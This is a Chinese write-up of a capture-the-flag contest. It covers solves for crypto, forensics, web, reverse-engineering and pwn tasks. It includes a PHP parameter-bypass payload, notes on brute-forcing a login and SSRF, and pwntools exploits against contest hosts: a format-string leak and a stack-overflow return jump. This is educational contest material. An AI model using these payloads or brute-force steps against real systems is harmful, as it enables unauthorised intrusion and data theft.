这次比赛躺了躺进线下...菜狗拿了道copper的一血....害...但是没ak crypto！最后上的题感觉要吗装32位虚拟机要吗就逆算法.....cao....（防ak吗...

# Crypto:

# easySteram:

观察题目发现他给出的 hint 是五组数据，而对应的加密方式是 lfsr 加密，并且转换成了 ascii 字符。然后题目里又说了除了 LFSR 以外的另外一种流密码的方式一开始我猜了的是 random 库里的梅森旋转，然后发现 LCG 刚好对的上五组数据。那就可以针对 LCG 进行攻击，就能够得到 LCG 对应的并且是文件名...（想了半天..

	from Crypto.Util.number import*
	from functools import reduce
	import hashlib

	def inv_L(R,mask):
	str=bin(R)[2:].zfill(48)
	new=str[-1:]+str[:-1]
	new=int(new,2) #R 循环右移一位得到 new
	i = (new & mask) & 0xffffffffffff
	lastbit = 0
	while i != 0:
	lastbit ^= (i & 1)
	i = i >> 1
	return R>>1 \| lastbit<<47 #最高位用 lastbit 填充

	def get_mod(states):
	diffs = [s1 - s0 for s0, s1 in zip(states, states[1:])]
	zeroes = [t2t0 - t1t1 for t0, t1, t2 in zip(diffs, diffs[1:], diffs[2:])]
	modulus = abs(reduce(GCD, zeroes))
	return modulus

	def LCG(x):
	return (a*x+b)%n

	if __name__ == "__main__":
	hint = [3552318300093355576,7287716593817904745,10709650189475092178,9473306808836439162,7033071619118870]
	n = get_mod(hint)
	a = (hint[2]-hint[1])*inverse(hint[1]-hint[0],n)
	b = (hint[1]-a*hint[0])%n
	mask = 0b101010001000010001001000100000101000100011000010
	data = []
	num = hint[0]
	for i in range(1000):
	f = open(r'.\key/{}'.format(str(num)),'rb')
	data.append((f.read()))
	f.close()
	num = LCG(num)
	str = b''
	for i in range(6):
	str = str +data[i]
	c = bytes_to_long(str)
	for _ in range(48):
	c = inv_L(c,mask)
	print('flag{' + hashlib.md5((oct(c)[2:]).encode()).hexdigest() + '}')

# Bad-Curve:

看了下题目..... 这么小的数据.... 然后只是标量乘法..... 直接爆破。

	from Crypto.Cipher import AES
	from Crypto.Util.number import inverse, long_to_bytes
	from collections import namedtuple
	# Create a simple Point class to represent the affine points.
	Point = namedtuple("Point", "x y")

	def div(m,n,p):#其中的 /
	return m*inverse(n,p)
	def pointaddtion(P,Q,p):
	O=(0,0)
	if P[0]==O[0] and P[1]==O[1]:
	return Q
	elif Q[0]==O[0] and Q[1]==O[1]:
	return P
	elif Q[0]==P[0] and Q[1]==-P[0]:
	return O
	elif P!=Q:
	m=div(Q[1]-P[1],Q[0]-P[0],p)
	else:
	m=div(3P[0]P[0]+a,2*P[1],p)
	x3=m*m-Q[0]-P[0]
	y3=m*(P[0]-x3)-P[1]
	R=(x3%p,y3%p)
	return R
	def scalarmultiplication(n,P,p):
	if n==1:
	return P
	Y=scalarmultiplication(n//2,P,p)
	X=pointaddtion(Y,Y,p)
	if n%2==1:
	X=pointaddtion(X,P,p)
	return X[0]%p,X[1]%p

	if __name__ == "__main__":
	# Define the curve
	p = 5861
	a = 5144
	b = 7002
	P = Point(1616, 1351)
	Q = Point(5733,603)
	for i in range(1,p):
	if scalarmultiplication(i,P,p) == Q:
	print(i)
	break
	aes=AES.new(int(89).to_bytes(16,'big'), AES.MODE_CBC, bytes(16))
	c = long_to_bytes(4772913380768971224711602816943506381429523609738355134556748160902211637274533659159340900788332375138903310885955)
	print(aes.decrypt(c))

# RSA2:

观察题目中他用随机数去生成了 N，但是我们自己使用这个函数去生成发现得到的数都不会变... 那不是白给？然后这个 padding1 和 padding2 最大差个一百多 emmm... 同时我们可以发现这里是 Related Message Attack 就可以直接得到 e2+padding1 和 e2++padding2

而 d 是由 e2 生成的，并且 e2 在 50000~60000 之间。。。那就直接去爆破 e2...... 并且 h 和 g 都是可以得到的。比较，得到 e2

那接下去直接去解密就好啦～

	from Crypto.Util.number import *
	from gmpy2 import *

	def generatePQ():
	st = random_state()
	p = int(mpz_urandomb(st, 2048))
	q = int(mpz_urandomb(st, 2048))
	while((is_prime(p, 50) and is_prime(q, 50)) == False):
	p = int(next_prime(p))
	q = int(next_prime(q))
	return p, q

	if __name__ == "__main__":
	p,q = generatePQ()
	n = p*q
	phi = (p-1) * (q-1)
	e1 = 3
	h = 73848642434738867367477225086726888395852920758614133495828335507877859511862002848037040713538347334802971992946443655728951228215538557683172582670964297757897239619386044898759264210423339349230213909268805339389420150987118078950524911018047255588024612603547365858714122701018350042307021931058343380562835003665731568505773484122782553098643140312700105413000212984821873751937531991369317400032403465633780535286923404386459988367374340142852850593284541563858829367072310534803205896401476440899512604526967410832990327872756442819020392626930518136601018466180890464963004282304763488756943631269919832869202
	g = 3976547671387654068675440379770742582328834393823569801056509684207489138919660098684138301408123275651176128285451251938825197867737108706539707501679646427880324173378500002196229085818500327236191128852790859809972892359594650456622821702698053681562517351687421071768373342718445683696079821352735985061279190431410150014034774435138495065087054406766658209697164984912425266716387767166412306023197815823087447774319129788618337421037953552890681638088740575829299105645000980901907848598340665332867294326355124359170946663422578346790893243897779634601920449118724146276125684875494241084873834549503559924080309955659918449396969802766847582242135030406950869122744680405429119205293151092844435803672994194588162737131647334232277272771695918147050954119645545176326227537103852173796780765477933255356289576972974996730437181113962492499106193235475897508453603552823280093173699555893404241432851568898226906720101475266786896663598359735416188575524152248588559911540400610167514239540278528808115749562521853241361159303154308894067690191594265980946451318139963637364985269694659506244498804178767180096195422200695406893459502635969551760301437934119795228790311950304181431019690890246807406970364909654718663130558117158600409638504924084063884521237159579000899800018999156006858972064226744522780397292283123020800063335841101274936236800443981678756303192088585798740821587192495178437647789497048969720110685325336457005611803025549386897596768084757320114036370728368369612925685987251541629902437275412553261624335378768669846356507330025425467339014984330079364067149950238561943275006049728406278318846998650496707162387768801213108565185221147664770009978012050906904959264045050100404522270495606970447076283894255951481388496134870426452215997834228869196114684962261076716651779120620585343304887755029463545328534291186
	c = 141187369139586875794438918220657717715220514870544959295835385681523005285553297337947377472083695018833866941104904071675141602626896418932763833978914936423338696805941972488176008847789235165341165167654579559935632669335588215515509707868555632337151209369075754122977694992335834572329418404770856890386340258794368538033844221701815983303376617825048502634692029763947325144731383655217790212434365368739783525966468588173561230342889184462164098771136271291295174064537653917046323835004970992374805340892669139388917208009182786199774133598205168195885718505403022275261429544555286425243213919087106932459624050446925210285141483089853704834315135915923470941314933036149878195756750758161431829674946050069638069700613936541544516511266279533010629117951235494721973976401310026127084399382106355953644368692719167176012496105821942524500275322021731162064919865280000886892952885748100715392787168640391976020424335319116533245350149925458377753639177017915963618589194611242664515022778592976869804635758366938391575005644074599825755031037848000173683679420705548152688851776996799956341789624084512659036333082710714002440815131471901414887867092993548663607084902155933268195361345930120701566170679316074426182579947
	for e2 in range(50000, 60000):
	try:
	d = inverse(e2,phi)
	h1 = (d-p)^(d+p)
	g1 = d*(p-0xdeadbeef)
	if(h1==h and g1==g):
	print("e2:",e2)
	break
	except:
	continue
	print(long_to_bytes(pow(c,d,n)))

# RSA-with-hidden-p_part:

一开始附件给错了... 看了 n 久都不知道是啥... 然后又重新给了附件... 看题发现 data 就 213 个然后都是根据 data**2 去生成的这里有个坑就是运算顺序的！要清楚.... 然后我是想了半天才发现 .... data<<1 就是 0 data<<2 就是 1 接下去就可以得到了 p 的高位...Copper

一开始我拿 1024 位去算发现不行... 没用出不来 x... 然后找办法去爆破 p 的位数... 没想到真是这样 398 位出了

	from Crypto.Util.number import*

	def get_x0():
	'''
	pbar = 11820026693187076726118808485305105465666823386947922735440269483223044778424815772142880112297698070148416497723797809485529364856468926499841358871215301672204583025074
	N = 17792839004069206505311165358965315159660960021876501638465779564660435354728866263950853789588593668127397781562022048299972203542490012884029610338759733016996976148246425653534473740879965981219064248163192069030090884735828855170495382479655366526033714537180090769165324090204860138147523482782402175203226238151594614492880153873145258957724395582001330822432735918506940599321342304662083198563995641394668197278283191088011830808723938187712792916629375128024721501299600284578947502283415715172218993597794995155493943923831639727793517623689226167983344366410056166618746678592793631650760012411580637035777
	for kbits in range(1024):
	ZmodN = Zmod(N)
	P.<x> = PolynomialRing(ZmodN)
	f = (pbar2*kbits + x)
	f = f.monic()
	x0 = f.small_roots(X=2**kbits, beta=0.4,epsilon = 0.04)
	if x0!= []:
	print(x0)
	print(kbits)
	break
	'''
	x0 = 301875891534320588914860305454653432129956573574513840847616056645331286842598781545293425781324404773773115207248765671
	kbits = 398
	return x0,kbits


	if __name__ == "__main__":
	e = 0x10001
	n = 17792839004069206505311165358965315159660960021876501638465779564660435354728866263950853789588593668127397781562022048299972203542490012884029610338759733016996976148246425653534473740879965981219064248163192069030090884735828855170495382479655366526033714537180090769165324090204860138147523482782402175203226238151594614492880153873145258957724395582001330822432735918506940599321342304662083198563995641394668197278283191088011830808723938187712792916629375128024721501299600284578947502283415715172218993597794995155493943923831639727793517623689226167983344366410056166618746678592793631650760012411580637035777
	c = 47544416942854840596876466634550757138457971777147902559332161978926437099575250451807599366474677616289825131936185950220522336363178955584220874970220865200716718183695366602106708856027144557504589893189728060818136500378667888349394918331945326795210323330208786962431108052065902363650047527024838196525288156921316276153197248136532473469956110283681199279132343194309319016175321231286064860091953668148386662333142666601571105164788444790879102866676641554466606414127621055197889576107822754427386801908786157440099385224491288571327853804008872915570680784690649728102620799753745868995526912824797945211
	data=[8137189, 8137231, 8137333, 8137387, 8137513, 8137609, 8137733, 8137783, 8137853, 8137919, 8137979, 8138239, 8138371, 8138443, 8138489, 8138513, 8138561, 8138717, 8138729, 8138737, 8138789, 8138807, 8138861, 8138881, 8138909, 8139017, 8139113, 8139151, 8139221, 8139301, 8139331, 8139377, 8139431, 8139451, 8139497, 8139589, 8139683, 8139709, 8139773, 8139797, 8139871, 8139959, 8139973, 8140043, 8140087, 8140103, 8140117, 8140133, 8140159, 8140177, 8140211, 8140421, 8140441, 8140537, 8140571, 8140609, 8140651, 8140661, 8140763, 8140843, 8140961, 8140981, 8141117, 8141137, 8141143, 8141153, 8141213, 8141267, 8141377, 8141459, 8141531, 8141603, 8141753, 8141879, 8141893, 8142137, 8142151, 8142157, 8142271, 8142389, 8142397, 8142467, 8142487, 8142557, 8142637, 8142731, 8142751, 8142803, 8142821, 8142833, 8143007, 8143043, 8143199, 8143273, 8143313, 8143319, 8143351, 8143601, 8143627, 8143651, 8143769, 8143781, 8143853, 8144009, 8144011, 8144083, 8144137, 8144219, 8144237, 8144261, 8144497, 8144651, 8144743, 8144803, 8144839, 8144879, 8144957, 8145031, 8145113, 8145139, 8145173, 8145209, 8145283, 8145349, 8145419, 8145443, 8145479, 8145671, 8145673, 8145689, 8145691, 8145911, 8146169, 8146363, 8146507, 8146511, 8146529, 8146609, 8146639, 8146673, 8146819, 8146867, 8146969, 8147071, 8147101, 8147123, 8147159, 8147261, 8147351, 8147407, 8147551, 8147567, 8147627, 8147653, 8147791, 8147813, 8147917, 8147921, 8147933, 8148059, 8148221, 8148263, 8148367, 8148499, 8148541, 8148551, 8148571, 8148677, 8148713, 8148727, 8148733, 8148737, 8148743, 8148779, 8148839, 8148977, 8149151, 8149237, 8149279, 8149301, 8149367, 8149369, 8149457, 8149553, 8149639, 8149741, 8149759, 8149949, 8150029, 8150047, 8150321, 8150333, 8150369, 8150561, 8150629, 8150647, 8150741, 8150839, 8151023, 8151079, 8151113, 8151167, 8151193, 8151203, 8151271, 8151401, 8151431, 8151827, 8151887, 8151937, 8151953, 8151967, 8151991, 8152031]
	me1_data = []
	f = open('flag.enc','rb')
	me1_data = f.readlines()
	for i in range(562):
	me1_data[i] = int(me1_data[i][2:].strip(),16)

	for i in range(len(data)):
	data[i] = (data[i]**2)
	num_dict = {}
	for i in range(len(data)):
	num_dict[str(pow(data[i]<<1,e,n))]=0
	num_dict[str(pow(data[i]<<2,e,n))]=1

	str1 = ''
	for i in range(len(me1_data)):
	str1 = str(num_dict[str(me1_data[i])])+str1
	pbar = int(str1,2)
	x0,kbits = get_x0()
	p = pbar2*398+x0
	q = n//p
	phi = (p-1)*(q-1)
	print(p)
	d = inverse(e,phi)
	print(long_to_bytes(pow(c,d,n)))

# MISC:

# RGB:

观察题目给的文件，发现是 255#255#255 144#219#255 等等...

用 PIL 去画图一共 28864 行数据找因子，盲猜他的宽和高是 352 和 82

	from PIL import Image

	if __name__ =="__main__":
	x=352
	y=82
	im = Image.new('RGB', (x, y))
	with open('code.txt') as f:
	for i in range(x):
	for j in range(y):
	line = f.readline()
	s = line.split('#')
	im.putpixel((i, j), (int(s[0]), int(s[1]), int(s[2])))
	im.show()

得到后发现是倒过来的 flag。

# Zip:

爆破密码... 然后培根解文档，修改字体就能够看到 flag 了。。。

# Memory_1

附件是一个内存镜像，用 volatility workbench 加载，查看进程，发现几个 cmd 进程和一个 vbs 脚本的宿主进程。

查看 cmdline，发现 vbsHost 执行的是 temp 目录下的 vbs 脚本

# Memory_2

#

python vol.py -f mal.vmem windows.registry.printkey --key "SAM\Domains\Account\Users\Names"

查看注册表中的用户信息，发现除了正常用户之外，存在一个隐藏用户 test 。并且发现最后一次修改该注册表的时间为 2019-10-29 17:42:11。

python vol.py -f mal.vmem windows.psscan.PsScan

搜索全部进程，发现一个进程的创建时间与注册表修改时间完全相同。导出该进程，被杀毒软件爆出后门病毒，实锤。

看 flag 描述怎么交的......emmm.... 用户名 & 进程名之后再 md5。试了好多次最后发现 $ 也要加上。于是我们得到的 flag 就是 md5 ("test$&net1.exe")

# web

# easyweb

非常简单的 php 审计题

$a 是一个数组

用类型转换绕过 is_numeric

$a["bar1"]=222222a

然后将 $a["bar2"] 设置成长度为五的数组， $a["bar2"][0] 写成数组

$a["bar2"][0][0]=1

$a["bar2"][1]=1

$a["bar2"][2]=1

$a["bar2"][3]=1

$a["bar2"][4]=1

在 phpstorm 里 json_encode 之后作为参数

通过截断绕过 eregi

通过数组绕过 strpos

$c[0]=a

$c[1][0]=%00cstc2021

$d=%00cstc2021

payload:?foo={"bar1":"222222a","bar2":[[1],1,1,1,1]}&cat[0]=a&cat[1][0]=%00cstc2021&dog=%00cstc2021

传参过去即可拿到 flag

# easyweb2:

这题打开来看啥也没有，直接上扫，扫出来 /swagger-ui.html 和 /swagger-resources ，直接访问前者看到一个 api 管理界面，在登陆处尝试爆破用户名和密码，居然给爆出来了， test&test ，登陆后拿到 token，然后在 CTFer用户管理 处爆破 id，拿到管理员用户名和密码，然后登录，根据 hint 关注 /home/index 页面，发现有 ssrf 漏洞，拿到 flag

# RE：

# free_flag:

无壳，直接拖入 ida64 分析，找到关键函数

	int i; // [rsp+14h] [rbp-1Ch]

	for ( i = 0; i < strlen(a1) - 1; ++i )
	{
	if ( (byte_B98[i] ^ 0xC) != a1[i] )
	return 1LL;
	}
	return 0LL;
	}

简单的异或。。。

直接上脚本

	source=[0x78, 0x64, 0x3F, 0x53, 0x6D, 0x79, 0x78, 0x64, 0x62, 0x3F, 0x78
	,0x3D, 0x6F, 0x38, 0x3D, 0x78, 0x3C, 0x62, 0x53, 0x39, 0x75, 0x39,
	0x78, 0x3F, 0x61, 0x53, 0x3D, 0x39, 0x53, 0x62, 0x3C, 0x78, 0x53,
	0x3C, 0x39, 0x53, 0x39, 0x3F, 0x6F, 0x79, 0x7E, 0x3F, 0x0A]
	for i in source:
	print(chr(i^0xc),end='')

th3_authn3t1c41t0n_5y5t3m_15_n0t_05_53cur3 md5 加密上交，正确

# crackme

有 upx 壳，托壳后拖入 ida 分析关键函数如下

	v13 = GetDlgItemTextA(hWndParent, 4, byte_4031B4, 40);
	if ( v13 && v13 <= 10 && v13 >= 10 )
	{
	v14 = 0;
	while ( 1 )
	{
	v15 = byte_4031B4[v14];
	if ( !v15 )
	break;
	v16 = byte_40313C[v14] + 5;
	if ( v16 > 90 )
	v16 = byte_40313C[v14] - 8;
	v17 = v16 ^ 0xC;
	if ( v17 < 65 )
	{
	v17 = v14 + 75;
	}
	else if ( v17 > 90 )
	{
	v17 = 75 - v14;
	}
	++v14;
	if ( v17 != v15 )
	goto LABEL_35;
	}
	MessageBoxA(0, aSerialIsCorrec, aGoodCracker, 0);

题目描述中给出 name 为 crackme，拖入后动调，可知 byte_40313C 为 OVKLCJZJGN ，上脚本：

	s='OVKLCJZJGN'
	for i in range(10):
	a=ord(s[i])+5
	if a >ord("Z"):
	a=ord(s[i])-8
	b=a^0xc
	if b <65:
	b=i+75
	if b>90:
	b=75-i
	print(chr(b),end='')

XBIHDCECSB MD5 加密后上交

# ck

无壳，直接拖入 ida 分析关键函数如下

	v10 = 0;
	for ( i = 0; i < a2; ++i )
	{
	v3 = i % 3;
	if ( i % 3 == 1 )
	{
	v5 = v10++;
	(_BYTE )(a3 + v5) = byte_410200[16 * ((_BYTE )(a1 + i - 1) & 3) + (((unsigned __int8 )(a1 + i) >> 4) & 0xF)];
	}
	else if ( v3 == 2 )
	{
	(_BYTE )(a3 + v10) = byte_410200[4 * ((_BYTE )(a1 + i - 1) & 0xF) + (((unsigned __int8 )(a1 + i) >> 6) & 3)];
	v6 = v10 + 1;
	v10 += 2;
	(_BYTE )(a3 + v6) = byte_410200[(_BYTE )(a1 + i) & 0x3F];
	}
	else if ( !v3 )
	{
	v4 = v10++;
	(_BYTE )(a3 + v4) = byte_410200[((unsigned __int8 )(a1 + i) >> 2) & 0x3F];
	}
	}
	v9 = i - 1;
	if ( v9 % 3 )
	{
	if ( v9 % 3 == 1 )
	{
	(_BYTE )(a3 + v10) = byte_410200[4 * ((_BYTE )(a1 + v9) & 0xF)];
	(_BYTE )(a3 + v10 + 1) = 61;
	}
	}
	else
	{
	(_BYTE )(a3 + v10) = byte_410200[16 * ((_BYTE )(a1 + v9) & 3)];
	(_BYTE )(a3 + v10 + 1) = 61;
	(_BYTE )(a3 + v10 + 2) = 61;
	}
	return 0;
	}

结合 output，明显是 base64 加密，但是换了个奇怪的表上脚本

	import base64
	enc = 'ef"^sVK@3r@Ke4e6%6`)'## 原文
	intab = ',.0fgWV#`/1Heox$~"2dity%_;j3csz^+@{4bKrA&=}5laqB*-[69mpC()]78ndu'## 新表
	outtab = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'## 旧表
	transtab = str.maketrans(intab,outtab)

	enc = enc.translate(transtab)
	print(base64.b64decode(enc).decode())

04_tianhe233_29 MD5 加密后上交

# MAZE：

迷宫的地图经过了两次变换，直接动调 dump 出最后的地图

1 0 0 1 1 1 1 
1 0 1 1 0 0 1 
1 1 1 0 1 1 1 
0 0 0 1 1 0 0 
1 1 1 1 0 0 0 
1 0 0 0 1 1 1 
1 1 1 1 1 0 1

wsad 分别对应上下左右

手动走迷宫可以得到路径 ssddwdwdddssaasasaaassddddwdds

计算 md5 即可得到 flag

# PWN：

# Bank：

	from pwn import *

	sla = lambda x,y:io.sendlineafter(x,y)
	ru = lambda x:io.recvuntil(x)
	rl = lambda :io.recvline()
	sl = lambda x:io.sendline(x)
	s = lambda x:io.send(x)

	# 首先爆破 /dev/urandom（passwd）
	while True :
	io = remote('81.70.195.166', 10000)
	ru('Please enter your account:\n')
	sl('hs')
	ru(':\n')
	s('\x00'*49)
	result = rl()
	if (b'Do you' in result):
	print ('success')
	break
	else:
	io.close()

	# 然后根据格式化字符串漏洞，首先调试得出偏移为 8，然后根据漏洞读取 flag
	sl ("yes")
	sla ("Please input your private code: \n","%8$s")

	io.interactive()

# Auto：

exp 分为两部分

	import angr
	proj = angr.Project('./auto',auto_load_libs = False)
	state = proj.factory.entry_state()
	simgr = proj.factory.simgr(state)
	simgr.explore(find = 0x804874A)
	print (simgr.found[0].posix.dumps(0))

	# b'UXYUKVNZ'
	# 爆破得到 passwd

首先用 angr 爆破 passwd，得到 passwd 为 UXYUKVNZ

	from pwn import *

	io = remote('81.70.195.166',10001)
	sla = lambda x,y:io.sendlineafter(x,y)


	sla ("Enter the password: \n","UXYUKVNZ")
	payload = flat(['a'*0x4c , 0x8048665])
	sla ("Enter the password again: \n",payload)

	io.interactive()

login_again 的时候存在栈溢出漏洞吗，直接利用，得到 flag

WriteUp